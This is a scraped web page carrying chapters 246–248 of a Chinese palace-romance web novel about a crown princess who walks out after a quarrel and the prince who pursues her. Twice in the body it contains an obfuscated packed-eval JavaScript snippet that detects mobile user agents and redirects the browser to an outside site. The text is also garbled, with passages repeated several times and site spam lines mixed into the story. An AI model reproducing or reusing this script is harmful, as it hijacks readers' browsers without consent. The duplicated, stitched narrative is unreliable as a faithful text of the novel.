云清婳吐出一口浊气,“复仇暂停,我要休息。” “只要主子高兴,怎样都好!反正我们已经有圣孙了!”飞霜满含期待地看着小床上的承基。 云清婳看向承基、辞忧时,眼中泛着星光。 看吧! 幸亏她没对狗男人付出真心。 否则今日她不仅会生气,更会像赵婉宁、苏灵音那样伤心欲绝、蚀骨之痛! …… 翌日一早,裴墨染小心翼翼打开了孩子寝房的门。 他想要看看蛮蛮。 昨晚他一夜没睡,脑海里都是蛮 蛮看他冷冰冰的眼神。 可推开门,床榻上只有被睡过的痕迹,上面没有人。 奶娘正在给两个孩子擦洗。 “爹~”辞忧激动地伸出手。 “爹爹~”承基指着裴墨染。 裴墨染俯下身,在他们脸蛋上亲了亲,“娘亲呢?” “唔……”两个孩子才一岁半,很多话不会说,哼哼唧唧半天都没表达出来。 奶娘道:“回殿下,太子妃天没亮就出门了,说是想散散心。” 裴墨染不安、慌张的心稍微放下了些。 蛮蛮没有跟以前一样,离家出走就好。 云清婳不在,早膳他也没胃口用,他吩咐奶娘照看好孩子便走了。 在花园,他看见了飞霜,他正欲说话,便察觉到飞霜眼中的尖锐与不善。 他有些无奈。 她们主仆一心。 “太子妃呢?”他冷着脸问。 飞霜敷衍的福福身,“主子一早就出门了,奴婢受托方才给魏侧妃送了些补品。” 裴墨染还想再问,但飞霜显然不愿跟他多言,她补充道:“奴婢也不知主子去了哪里,主子没有告诉奴婢。” 他甩袖离去。 蛮蛮嫁给他两年了,他们二人经历这么多风雨,蛮蛮定不会抛下他。 …… 退朝后,裴墨染在勤政殿一直心不在焉。 他的眼睑下泛着淡淡的青黑,谁都看出他昨晚没睡好。 “殿下可是操劳赤阳王的丧礼,所以昨夜没睡好?您风寒才愈,玉体贵重,今日还是早些休养吧。”诸葛贤拱手道。 裴墨染抱臂倚靠在檀木椅上,他敷衍地颔首。 面前的折子摆放在面前,他却漫不经心,根本看不进去。 诸葛贤正欲去查看文书,身后一道富有磁性的声音叫住了他,“先生!留步!” “殿下。”诸葛贤恭敬地拜了拜。 裴墨染的表情很不自然,脸上的线条冷硬,他欲言又止,“罢了……退下吧。” 这种丑事,他不想说给外人听。 诸葛贤抬起眼,看着上首的人,苍老的双眼却发出矍铄的光,似乎看穿了一切,“是。” 裴墨染派王显回了两次东宫,查看 云清婳有没有回来。 王显来去匆匆累出了一身的汗可都恹恹地归来。 “殿下太子妃许是回娘家了?”王显推测。 他颔首“备些厚礼一会儿本宫亲自去拜访岳父。” 王显的心轻轻一颤。 殿下居然管云丞相叫岳父! “是。”王显笑着跑去准备。 …… 丞相府。 云清婳一回府管家便高声通传:“相爷、夫人太子妃归宁了……” 门房跑着进去通传“太子妃回府了……” 全家上下都喜气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040133|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洋洋的。 云丞相、云夫人、云大公子云隽、大嫂姜柔、云二公子云褚纷纷来迎。 “我回家哪用这么大阵仗?”云清婳打趣道。 她今日梳着简单的堕马髻髻上插着碧绿的梳篦身上穿着一席浅紫色素裙显然是低调出行的。 “蛮蛮的眼睛都肿了殿下莫不是欺负你了?”姜柔第一眼就发现的了不对满脸心疼。 云丞相、云夫人的脸登时黑了像是最心爱的宝贝遭到了践踏眼中怒火熊熊燃起。 云褚的脖颈气得通红拳头捏得咔咔作响。 “别急先听蛮蛮说。”云隽将云清婳扶进了大厅。 门合上后云清婳将昨日的事讲了出来。 砰—— 云丞相一拳头砸在桌上“出丧棒断了就断了那咋了?” “亏他还是武将**不计其数竟然也这么迂腐!”素来文雅清高的云隽长叹一声。 姜柔冷嘁:“蛮蛮又没**他急什么?听说他昨日还因为扶住棺木被皇上好一顿夸奖呢。” “蛮蛮等爹娘**你们不必办丧礼把我们一把火烧了骨灰扬了都行!免得铺张浪费!生前不尽孝死后摆阔给谁看?棺材落地了又如何?”云夫人说着嗓音一哽眼泪掉了出来。 云丞相:??? 能不能把他的骨灰留下。 云清婳的心感受到了暖意她拿出帕子给云夫人擦眼泪“娘你别哭啊。” “忘恩负义!这几年云家帮了太子不少 东宫教训他。”云褚抄了根鸡毛掸子滑稽地说着。 云清婳白了他一眼“去啊!他一拳就把你打飞了。” 云褚的脸色惊变他瞪圆眼睛伸出十根手指“听说他在西北一口气打**十只母大虫真的假的?” 云清婳:??? 不是! 柳玉能不能别造谣了? 前两天还是四只怎么今天变成十只了? “爹娘哥哥嫂嫂我不难过我只是太累了我想歇歇。”云清婳道。 她已经连续演了两三年的戏了她也需要假期。 她不想讨好裴墨染了她想放松一下。 “好!歇歇就歇歇太子殿下真是不值得。”云夫人长叹了一声。 姜柔轻轻拍抚云夫人的背给她顺气 “嗯。”二人携手而去。 …… 云清婳今日的胃口格外好。 云夫人、姜柔做了满满一桌菜还有各种糖水、糕点她大快朵颐腮帮子涨得鼓鼓的像一只小松鼠。 看着她香喷喷地吃着就像被**了似的云夫人又暗暗摸眼泪。 第246章 追妻火葬场,蛮蛮心寒 云清婳捕捉到了云夫人的心疼,有些无奈。 她为了保持身材,很久没有这般放纵过了,今日暴饮暴食,一是为了放松心情,二是真的嘴馋了。 思及此,她又端了碗糯米白玉丸子糖水喝,肚子涨得圆滚滚也不在乎。 云丞相宠溺地笑了,“瞧你小脸都沾上糕浆了,跟个孩子似的,愈发无状了。 “蛮蛮不就是我们的孩子?云夫人乜了他一眼。 云丞相失言,立马低下了头。 云清婳笑了,她发现她们家驭夫都有一套! “蛮蛮,爹的亲信查到,裴云澈的人正在想办法立功,捞他出来。咱们要不要阻止?云丞相严肃起来,眼眸一眯,精明得像一条狐狸。 “爹爹万万不要阻止裴云澈,让他出来吧!裴墨染好日子过久了,忘了曾经的自己有多凄楚,让裴云澈帮他回忆回忆也好。云清婳的眼中溢出了阴狠。 云隽蹙眉:“蛮蛮,莫要意气用事!毕竟你给殿下生了两个孩子,若是东宫失势,会不会对你跟孩子不利? “放心吧!裴云澈赢不了,我也输不了!她手里可有裴云澈最大的秘密呢。 这个秘密,恐怕连裴云澈自己都不知道! 用完膳,云清婳便准备离开。 她担心裴墨染追过来。 她不想看见他。 一看见他就来气,她可不想乳腺结节! 云夫人担心云清婳身边没侍卫,只有一个马车夫,出行不安全,遂让云褚亲自护送她。 晌午时,云清婳去了谢国公府邸。 她想看看姐姐。 谢国公夫妇、谢泽修得知云清婳来了,忙不迭出门来迎。 他们正欲行礼,云清婳连忙扶住二老,“姨母、姨夫不必多礼。 “蛮蛮,你今日怎么来了?谢泽修上下打量着云清婳,隐隐察觉到了不对,眼神很是担忧。 云清婳淡淡的牵起嘴角,“我想姐姐了,所以过来看看。 “快进来坐。谢国公夫人盈盈一笑,亲**挽着她的胳膊,可头上花白的头发惹人心疼。 “对对……进来坐、进来坐……谢国公精神恍惚,目光呆滞,眼下的眼袋耷拉着,像是许久没睡过觉。 云 清婳心里很不是滋味。 若是姐姐看到父母变得如此苍老、憔悴该有多伤心? 姐姐一家人悲痛欲绝、生不如死而**凶手逍遥法外凭什么?! …… 云清婳跟谢国公夫妇聊了一会儿谢泽修便带她去了谢容音生前的闺房。 黑乎乎的闺房早就被谢泽修派人修葺好恢复到与原来一模一样其中的陈设、茶具、盆景都跟五年前极其相似却又完全不同物是人非。 踏进闺房的一刹那云清婳的眼泪啪嗒落下晶莹剔透如同珠子她轻轻地呜咽着。 一切仿佛还在昨日姐姐在闺房里跟她推心置腹担心她的病情怕她压抑不住恶性。 姐姐教她爱、给她爱、让她懂得爱。 哪怕在生命的最后一刻姐姐还在牵挂着她让她向善。 可姐姐不在了! “别哭了容音喜欢看你笑。”谢泽修递给她一方帕子。 云清婳努力挤出一个笑她接过帕子揩去眼泪。 她似乎汲取到了源源不断的力量心中的**得性无助、颓丧、失落感、疲惫统统消失取而代之的是悲戚与恨 即使裴墨染是白眼狼又如何? 这只是一个小小的挫折她不会认输她会征服一切困难! “蛮蛮是不是因为赤阳王棺材差点落地的事?”谢泽修忽然开口他的眼里写满了担忧。 云清婳暗叹谢泽修的机智、敏锐。 她颔首略带讽刺地笑问:“怎么?表哥也觉得我大逆不道吗?” “你有选择的余地吗?倘若有我相信蛮蛮绝对不会选择这么危险的方法。”谢泽修是出名的善恶分明公正仁义之人但他虽然惊讶却并不觉得云清婳有问题。 裴云澈养私兵只被轻飘飘地停职、禁足。 赤阳王的丧礼皇上还允许裴云澈暂时解禁奔丧。 这说明什么? 说明皇上根本没对裴云澈生气甚至想释放裴云澈。 这对东宫而言绝对是危险的信号。 倘若昨日裴云澈顺利抬棺彰显孝义皇上岂不是有了名正言顺的理由解禁裴云澈? “连表哥都理解我可裴墨染却……”云 清婳只觉得一番苦心喂了狗,“罢了,不聊他了。 谢泽修的唇动了动,他像是坚定了决心,郑重的开口:“蛮蛮,在我这里,你做什么都是对的,我永远站在你这一边。 云清婳知道,正常人应该表现出感激、感动的表情。 可她心里没有一丝触动。 因为她不需要他的精神支持。 “谢谢表哥。她疏离道。 很抱歉,谢泽修的心意,她没办法回应。 她不会爱人,也不想学。 云隽站在门口,忍不住咳了咳:“蛮蛮悼念容音,谢泽修你别打扰蛮蛮了。 “嗯。谢泽修尴尬地摸了下鼻尖。 …… 晌午不到,裴墨染便急匆匆催促着车夫带着厚礼赶去丞相府,他势在必得。 他要把蛮蛮接回来,跟蛮蛮和好! 昨晚只是有误会罢了。 一点点小事,何至于走到这一步? 马车停在了相府的垂花门,裴墨染迫不及待地跳下马车,丝毫不顾太子仪态。 他这次安排得极其充分,上至云丞相、云夫人,下至云清婳的小侄儿、奶娘他都备了礼。 王显看着裴墨染蓄势待发、胸有成竹的神情,不由得担心。 他弓下腰,忍不住提醒:“殿下,太子妃贤淑仁慈,对待下人宽厚亲仁,昨日莫不是发生了大事? “小事罢了。裴墨染摆摆手。 王显仰天长叹。 怎么可能是小事? 若是小事,太子妃怎会如此生气? 殿下完咯,追妻恐怕难成功! 裴墨染迫不及待见到云清婳,不等云府管家通传就匆匆往里去。 云府他来过许多次,他知道大厅的位置。 相府的下人见到身着杏黄色**袍的太子殿下,胆都快吓破了,他们扑通跪了一地,瑟瑟发抖。 在众人的跪拜中,裴墨染赶到了花厅。 云丞相、云夫人早料到裴墨染会来。 他们假装惊恐,装模作样出来迎接,“微臣该死,这些瞎眼下人居然没有通传,怠慢了殿下。 二老作势要下跪请罪。 裴墨染立即将他们扶住,他的表情带着一丝认真与恭敬,“岳父、岳母见外了!快坐吧。 你的朋友正在书荒,快去帮帮他吧 清婳只觉得一番苦心喂了狗“罢了不聊他了。” 谢泽修的唇动了动他像是坚定了决心郑重的开口:“蛮蛮在我这里你做什么都是对的我永远站在你这一边。” 云清婳知道正常人应该表现出感激、感动的表情。 可她心里没有一丝触动。 因为她不需要他的精神支持。 “谢谢表哥。”她疏离道。 很抱歉谢泽修的心意她没办法回应。 她不会爱人也不想学。 云隽站在门口忍不住咳了咳:“蛮蛮悼念容音谢泽修你别打扰蛮蛮了。” “嗯。”谢泽修尴尬地摸了下鼻尖。 …… 晌午不到裴墨染便急匆匆催促着车夫带着厚礼赶去丞相府他势在必得。 他要把蛮蛮接回来跟蛮蛮和好! 昨晚只是有误会罢了。 一点点小事何至于走到这一步? 马车停在了相府的垂花门裴墨染迫不及待地跳下马车丝毫不顾太子仪态。 他这次安排得极其充分上至云丞相、云夫人下至云清婳的小侄儿、奶娘他都备了礼。 王显看着裴墨染蓄势待发、胸有成竹的神情不由得担心。 他弓下腰忍不住提醒:“殿下太子妃贤淑仁慈对待下人宽厚亲仁昨日莫不是发生了大事?” “小事罢了。”裴墨染摆摆手。 王显仰天长叹。 怎么可能是小事? 若是小事太子妃怎会如此生气? 殿下完咯追妻恐怕难成功! 裴墨染迫不及待见到云清婳不等云府管家通传就匆匆往里去。 云府他来过许多次他知道大厅的位置。 相府的下人见到身着杏黄色**袍的太子殿下胆都快吓破了 在众人的跪拜中裴墨染赶到了花厅。 云丞相、云夫人早料到裴墨染会来。 他们假装惊恐装模作样出来迎接“微臣该死这些瞎眼下人居然没有通传怠慢了殿下。” 二老作势要下跪请罪。 裴墨染立即将他们扶住他的表情带着一丝认真与恭敬“岳父、岳母见外了!快坐吧。” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 清婳只觉得一番苦心喂了狗,“罢了,不聊他了。 谢泽修的唇动了动,他像是坚定了决心,郑重的开口:“蛮蛮,在我这里,你做什么都是对的,我永远站在你这一边。 云清婳知道,正常人应该表现出感激、感动的表情。 可她心里没有一丝触动。 因为她不需要他的精神支持。 “谢谢表哥。她疏离道。 很抱歉,谢泽修的心意,她没办法回应。 她不会爱人,也不想学。 云隽站在门口,忍不住咳了咳:“蛮蛮悼念容音,谢泽修你别打扰蛮蛮了。 “嗯。谢泽修尴尬地摸了下鼻尖。 …… 晌午不到,裴墨染便急匆匆催促着车夫带着厚礼赶去丞相府,他势在必得。 他要把蛮蛮接回来,跟蛮蛮和好! 昨晚只是有误会罢了。 一点点小事,何至于走到这一步? 马车停在了相府的垂花门,裴墨染迫不及待地跳下马车,丝毫不顾太子仪态。 他这次安排得极其充分,上至云丞相、云夫人,下至云清婳的小侄儿、奶娘他都备了礼。 王显看着裴墨染蓄势待发、胸有成竹的神情,不由得担心。 他弓下腰,忍不住提醒:“殿下,太子妃贤淑仁慈,对待下人宽厚亲仁,昨日莫不是发生了大事? “小事罢了。裴墨染摆摆手。 王显仰天长叹。 怎么可能是小事? 若是小事,太子妃怎会如此生气? 殿下完咯,追妻恐怕难成功! 裴墨染迫不及待见到云清婳,不等云府管家通传就匆匆往里去。 云府他来过许多次,他知道大厅的位置。 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他们假装惊恐,装模作样出来迎接,“微臣该死,这些瞎眼下人居然没有通传,怠慢了殿下。 二老作势要下跪请罪。 裴墨染立即将他们扶住,他的表情带着一丝认真与恭敬,“岳父、岳母见外了!快坐吧。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 清婳只觉得一番苦心喂了狗,“罢了,不聊他了。 谢泽修的唇动了动,他像是坚定了决心,郑重的开口:“蛮蛮,在我这里,你做什么都是对的,我永远站在你这一边。 云清婳知道,正常人应该表现出感激、感动的表情。 可她心里没有一丝触动。 因为她不需要他的精神支持。 “谢谢表哥。她疏离道。 很抱歉,谢泽修的心意,她没办法回应。 她不会爱人,也不想学。 云隽站在门口,忍不住咳了咳:“蛮蛮悼念容音,谢泽修你别打扰蛮蛮了。 “嗯。谢泽修尴尬地摸了下鼻尖。 …… 晌午不到,裴墨染便急匆匆催促着车夫带着厚礼赶去丞相府,他势在必得。 他要把蛮蛮接回来,跟蛮蛮和好! 昨晚只是有误会罢了。 一点点小事,何至于走到这一步? 马车停在了相府的垂花门,裴墨染迫不及待地跳下马车,丝毫不顾太子仪态。 他这次安排得极其充分,上至云丞相、云夫人,下至云清婳的小侄儿、奶娘他都备了礼。 王显看着裴墨染蓄势待发、胸有成竹的神情,不由得担心。 他弓下腰,忍不住提醒:“殿下,太子妃贤淑仁慈,对待下人宽厚亲仁,昨日莫不是发生了大事? “小事罢了。裴墨染摆摆手。 王显仰天长叹。 怎么可能是小事? 若是小事,太子妃怎会如此生气? 殿下完咯,追妻恐怕难成功! 裴墨染迫不及待见到云清婳,不等云府管家通传就匆匆往里去。 云府他来过许多次,他知道大厅的位置。 相府的下人见到身着杏黄色**袍的太子殿下,胆都快吓破了,他们扑通跪了一地,瑟瑟发抖。 在众人的跪拜中,裴墨染赶到了花厅。 云丞相、云夫人早料到裴墨染会来。 他们假装惊恐,装模作样出来迎接,“微臣该死,这些瞎眼下人居然没有通传,怠慢了殿下。 二老作势要下跪请罪。 裴墨染立即将他们扶住,他的表情带着一丝认真与恭敬,“岳父、岳母见外了!快坐吧。 你的朋友正在书荒,快去帮帮他吧 第247章 御夫有术 他环视一圈,逡巡着花厅的每一个角落。 “是。”云丞相、云夫人相扶着落座,暗暗交换了个眼色。 太子殿下居然叫他们岳父、岳母…… 真是把他们吓得腿都软了! 他们怎配当太子的父、母? 不过也可以看出蛮蛮御夫有术! 他们放心了! “蛮蛮呢?”裴墨染忍不住问。 云丞相的嘴半张着,一脸惊讶,“殿下不知?蛮蛮没跟殿下禀报吗?这丫头被老臣娇纵坏了,殿下见谅。” “不!蛮蛮很好!”裴墨染立即打断,“是本宫不对!” 他不愿意承认自己的错误,毕竟他是大昭的太子,可还是低声道:“是本宫昨晚言辞不当,伤了蛮蛮的心。” 云夫人忍不住翻了个白眼。 云丞相的嘴角牵出一丝讥讽的弧度。 真会避重就轻啊。 你真的只是词不达意,言辞不当吗? 你真的没有怪罪蛮蛮的意思吗? 比起忘恩负义,他的不敢承认,更让人恼火! “岳父、岳母,蛮蛮是不是还在怨本宫?”裴墨染蹙眉问。 云丞相一脸惶恐,“不不不……其实蛮蛮今日只字未提这些,她就说想我们了,想回来看看。” “对!蛮蛮今日吃了好些东西,一碗接着一碗,肚子都涨圆了,我还以为这丫头心中藏着喜事呢,没想到……呜呜呜……”云夫人拿出帕子抹眼泪。 裴墨染的心咯噔一响。 蛮蛮为人克制理性,虽然平日会馋嘴,但绝不会这样没有节制地暴饮暴食,伤害身子。 她这是真被他气到了。 “岳母不必伤心,本宫会跟蛮蛮道歉,只是蛮蛮呢?”裴墨染焦急地四处张望。 云丞相并不准备隐瞒,“殿下放心!蛮蛮说要去谢国公府邸给表姐上柱香,老臣让云隽送他去了。” 裴墨染转身便走。 他此时此刻,心心念念只有一件事,那便是见到云清婳! 昨日的对错不重要,他想要跟蛮蛮和好! 今日见不到她,他心烦意乱,无心政务。 …… 裴墨染到了谢国公府,他被管家引进了大厅。 谢国公、谢夫人看到他施施然地行礼“见过太子殿下。” “谢国公、谢夫人不必多礼!蛮蛮呢?”裴墨染四处张望。 谢国公的反应迟缓还是谢夫人先开了口她哽咽道:“蛮蛮方才去看了小女随后便走了。” “太子恕罪我们也不知太子妃去了何处。”谢国公怔怔地说。 裴墨染心如乱麻。 他一转身就看见了谢泽修。 他像是看到救星大步上前“谢将军你知道蛮蛮去了何处吗?” 谢泽修的眼底蕴出了鄙夷“微臣不知!但是太子妃一路有云二公子护送殿下放心。” 裴墨染的心很不安就像是不系之舟在**上漂泊无处可归这种慌乱的感觉让他几乎要窒息。 蛮蛮向来进退有度、知书达理、慈爱贤惠 “知道了。”裴墨染急如星火地快步离开。 …… 回东宫后裴墨染径自去了玄音阁。 还在庭院他就听见了孩子们咯咯的笑声。 他的眼神一亮快步跑进寝殿“蛮蛮!” 大门一打开门内飞霜、奶娘正拿着拨浪鼓逗弄辞忧、承基。 辞忧、承基坐在毯子上肉乎乎的小脸一扭看到裴墨染时眼睛冒光“爹~” “诶。”裴墨染苦笑着应了一声。 “飞霜太子妃呢?”他心如火烧满含期待地问。 飞霜摇摇头不咸不淡道:“主子尚未回来主子说想要出去散散心。” “……”裴墨染的心像是被一只无形的手紧紧揪着。 蛮蛮不会离开他的! 蛮蛮一定不会离开他的! 孩子还在呢她怎么忍心? 他如是在心中安慰着自己可越想他越慌。 …… 碧湖的富丽堂皇的画舫上云清婳跟何心意正倚靠在躺椅上二人中间的檀木桌上摆满了精雕细琢栩栩如生的花朵形状的各色点心。 二人捏着夜光杯对饮鲜美的西域葡萄酒。 葡萄酒是从地窖里运来的被冰镇了许久玉质杯壁上冒着冰爽的寒气。 绵柔香甜的酒进入口中 ,唇齿留香。 画舫绕着偌大的湖泊行径,湖光山色尽收眼底。 “蛮蛮,殿下这一次的确过分了,倘若夫君敢那样对我,我定不饶他。”何心意的眼中写满了认真、坚定。 “不为别的,就为他因为不相干的人指责我。我是他的夫人,是他最亲近的人,他永远都不能因为外人与我离心。” 云清婳苦笑着跟她碰杯,“心意姐姐,我跟你的境况不同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16049809|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 她跟裴墨染又不是心心相印的有情人。 与裴墨染相爱,是她的“事业”。 何心意颔首,“我懂!这次你一定不能轻易原谅他! 现在正是你们感情浓烈之时,他居然为了小事责怪你,若是日后你真做了什么错事怎么办?他会如何对你?所以你这次一定要把他掰正过来!” “我正有此意!”云清婳将杯中的葡萄酒一饮而尽,酒醇厚香甜,让她舒服地喟叹一声。 “说实话,我心里对他是失望的,我曾以为他是个果决狠厉的聪明人,我与他是一路人。现在看来,我防着他是对的。” 何心意轻拍她的手背,“蛮蛮,或许是因为有了你的帮扶,他太顺了,所以他忘了曾经在刀尖上舔血的日子。” “才过了几天好日子,就嫌我下手不干净了?好啊,既然他不稀罕我的帮助,我就统统收回。”云清婳的眼中闪过讥讽。 何心意笑了,“这才对!只有他处处受阻、碰壁,才能意识到你的好。给温饱的人送馒头咸菜吃,他们只会觉得噎人,怪你小气寒酸。” 云清婳接嘴,“给饥寒交迫的人送馒头咸菜,他们会把我奉为神明!” “没错!”何心意温柔宠溺地看着她。 …… 云清婳回东宫时,已至黄昏。 裴墨染正一手抱着辞忧,一手抱着承基哄。 两个孩子哭得不可开交,哭着嚷着要娘亲。 奶娘跟万嬷嬷怎么哄都没用。 毕竟两个小包子太聪明了,糊弄不了他们。 裴墨染急得满头大汗,脸颊上都急出了红晕。 “别哭了,别哭了……娘不要爹了,也不要你们了。”他越想越心酸,甚至有点委屈。 飞霜咧嘴,恶心不已。 渣男! 装什么啊? 万嬷嬷幽幽看了裴墨染一眼,抿抿唇,无奈道:“殿下,别吓唬皇孙啊!” “呜哇……”孩子似乎听懂了,使出吃奶的力气哭了起来。 哭声像是要把屋顶掀翻。 裴墨染的耳朵都耳鸣了,脑子嗡嗡的。 循着声,云清婳推门走进寝殿。 哭声戛然而止。 两个孩子的葡萄眼瞪得浑圆,奶声奶气:“娘亲~” 裴墨染抬头一看,双眼冒光,“蛮蛮!” 他是跑着到她面前的,欣意掩盖不住,笑得像个大傻子。 第248章 裴墨染悟了 云清婳对他视而不见。 她喝了酒,身上散发着一股芬芳的葡萄酒的香甜味。 她害怕把孩子熏醉,只是伸手,捏捏他们婴儿肥的小脸蛋,“咦惹,哪个小哭包哭了?” “呵呵呵呵……”两个孩子笑得咯咯的。 裴墨染盯着她,眼睛眨也不眨,满心欢喜。 云清婳拧了把帕子,给孩子擦涕泪横流的小脸,“娘亲给你们买礼物了!” 她从袖中掏出一对手心大小的布老虎。 “哇——”承基惊喜地叫了一声,嘴巴张圆了。 辞忧从裴墨染怀里伸出手,“娘亲,给宝宝……” “说谢谢娘亲。”云清婳一人分了一个。 辞忧敷衍地给了她一个飞吻。 承基也低头摆弄起了布老虎,“谢谢~” 孩子们早就忘了方才的不愉快,爱不释手地拿着布老虎被奶娘抱去了贵妃榻上玩起来。 “蛮蛮……”裴墨染小心翼翼地笑了笑,笑容带着讨好。 云清婳疲惫地看着他,并没有说话的欲望。 “你喝酒了?”他问。 云清婳颔首,淡淡道:“跟心意姐姐喝了点。” 原来蛮蛮去找了何心意。 何心意貌似不爱戴他,也不知有没有说他的坏话! 他是听说过的,这些女人没事就喜欢聚在一起说自家男人的坏话! “喝酒好,是西域葡萄酒对吗?我的库房里也有,你以后若是想喝,就吩咐王显送来。”他无话找话说,大献殷勤。 “……” 云清婳不想理他,冷冷从他身边经过。 她命人备水,去了净室沐浴。 裴墨染的脸僵住了,他惶然无措地盯着净室的门,一动不动地站在原地。 这一刻,裴墨染是真的怕了。 哪怕蛮蛮给他一巴掌都行!至少说明蛮蛮还在乎他,可这一次,蛮蛮的爱意像是被冰水彻底浇灭了。 良久,他叹了口气,挺拔的脊梁像是被大山压弯,整个人颓丧不堪。 王显看向飞霜。 飞霜把脑袋扭向另一边:哼,男人没一个好东西! 王显:…… 我不算男人,我是姐妹! 王显又把求救的目光投向万嬷嬷。 万嬷嬷思忖了下,她福福身:“殿下,老奴斗胆,夫妻之间有什么误会说开就好,莫要埋在心里。” “嗯。”其实,裴墨染不明白,为什么蛮蛮突然生了这么大的气。 他早就后悔了。 早知道昨日就不提赤阳王的事了。 赤阳王都已经**,棺材落不落地,他也活不过来。 更何况,赤阳王跟他没有叔侄情意,何必为了赤阳王跟蛮蛮离心? 这件事蛮蛮没错,他也没错。 他们二人都没有错,只是沟通出了问题。 …… 云清婳从净室出来,一推门就看见了面带殷切、满脸堆笑的裴墨染。 她险些吓了一跳,眸中的厌恶加深。 没错! 最近几天,她不想演了。 就当任性一把,给自己放个假。 裴墨染被她如荆棘般的眼神刺到,心脏像被扎了,“蛮蛮,昨日的事是我不对,我跟你道歉好不好?你别生气了,孩子今日好想你,我也好想你。” 她掀起眼皮,没有情绪地看着他,就像是把他看穿了。 事到如今,她连脾气都不想发了。 “你做错什么了?”她淡淡地问。 她抱着一丝希望,希望裴墨染能悔过。 裴墨染不假思索道:“我昨日不该那样严厉的指责你,蛮蛮,是不是我的话让你伤心了?我只是觉得那样做不好,我不想你为了我做那种脏事。” “裴墨染,你无可救药了。”云清婳轻轻地叹息,“在你想清楚你的错误前,我们不要见面了。” “蛮蛮!”他的心抽疼,他抓住她的衣袖,红着眼,“我真的没有怪你,真的没有……” 云清婳的眉眼像是雕刻在墙上的壁画,美则美矣,却没有丝毫情感,“不自知才是最可怕的,如果继续这样下去,我们夫妻走不长远。” “蛮蛮!我昨晚只是说错了话,我后悔了!赤阳王爱死不死,为何要让一具尸体影响我们的感情?”他着急了,口不择言。 她拿开他的手,疲惫道:“裴墨染,我们的问题不是这个,你想清楚了再来找我。” 裴墨染感觉周身发冷,就好像他又 一次被全世界抛弃了。 他喑哑的启唇,“好。” 忽地,门外响起吵闹声。 巧慧、管家的声音在门外此起彼伏,“不好了,不好了……” “不好了,不好了……” 裴墨染本就烦躁,现在给了他发泄口,他低吼:“怎么了?” “殿下,我们主子上吊了!”巧慧抽抽噎噎。 “苏灵音岂会舍得死?她是装的!”裴墨染冷笑。 “不不不……苏侧妃真的上吊了,脸都憋紫了,被救下后,又要上吊。”管家急得声音都变调了。 “那就让她死!”裴墨染嫌弃至极。 这个女人为了争宠,手段层出不穷! 卑劣至极! 巧慧道:“殿下,求您去看看主子吧!一夜夫妻百日恩啊!” “谁跟她是夫妻?”裴墨染像是炸了**的狮子,怒吼道。 王显提醒:“殿下,若是苏侧妃死在东宫,皇后跟苏家定不会善罢甘休!说不定还会把污水泼到太子妃身上啊。” 裴墨染像是被踩中了痛脚,他看了眼云清婳便匆匆离开。 云清婳冲巧慧递了个眼色。 巧慧跟着她进了屏风。 “苏灵音这次玩得够大啊?她为何要见裴墨染?”她的眼神寒凉。 “奴婢不知!苏灵音现在疑神疑鬼,谁都不相信了,她什么都不跟奴婢说了。”巧慧有些惋惜。 “不急!”云清婳浑身透着胸有成竹的坦然。 她花了这么长的时间攻略两个狗男人,当她是白攻略的? 她不信,苏灵音上嘴唇碰碰下嘴唇就能扭转局势。 裴墨染虽然这次让她失望,有了不该有的苗头,但他大体上还没烂。 …… 清心阁。 苏灵音躺在榻上,脖颈上勒出了一道紫红色的红痕,一脸痛苦。 她喘着粗气,声音嘶哑:“云清婳,你现在一定很惶恐吧?你一定不知道我要做什么吧?谁让你们当初戏弄我?我要让你万劫不复!” 裴墨染浑身冒着戾气,缓缓走进寝殿,他的脸上像是覆盖了一层薄薄的寒霜。 他走到榻前,居高临下地睨着她,像在看一条濒死的狗。 苏灵音 看到他的瞬间眼神复杂爱恨交缠 “参见殿下……”她颤抖着起身跪在榻上。 “别装了说吧!”他轻扬下巴眼神中的奚落藏不住。 “殿下妾身知道您无法原谅曾经的欺骗但妾身是您的表妹妾身日后只会忠诚于您一人。”苏灵音含情脉脉情真意切的说道。 裴墨染只觉得讽刺他要苏灵音的忠诚有什么用? “若是说完了本宫就走了下次你再寻死就用**、**、鹤顶红死干净点。”他转身就走。 苏灵音的脆弱的表情一瞬间变得怨毒她的手背青筋暴起“听说殿下跟太子妃吵架了?是因为昨日丧礼上的意外?” 裴墨染的脚步一顿他的眸如鹰隼般残忍“你想说什么?” “呵……妾身只是觉得太子妃太离经叛道太过分了殿下对她生气也是难免。”苏灵音阴阳怪气道。 他的心里很不舒服。 不是因为别的而是因为苏灵音的话跟他昨日对蛮蛮说的话如出一辙。 一个外人这样攻讦蛮蛮而他居然昨日也这样攻讦蛮蛮…… 他有种大彻大悟之感。 “你以为这样就能离间本宫跟太子妃?”他加快步伐。 就在一只脚即将踏出寝殿时苏灵音拔高了声音:“殿下!妾身知道了太子妃一个秘密!” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 看到他的瞬间,眼神复杂,爱恨交缠,更多的却是不甘。 “参见殿下……”她颤抖着起身,跪在榻上。 “别装了,说吧!”他轻扬下巴,眼神中的奚落藏不住。 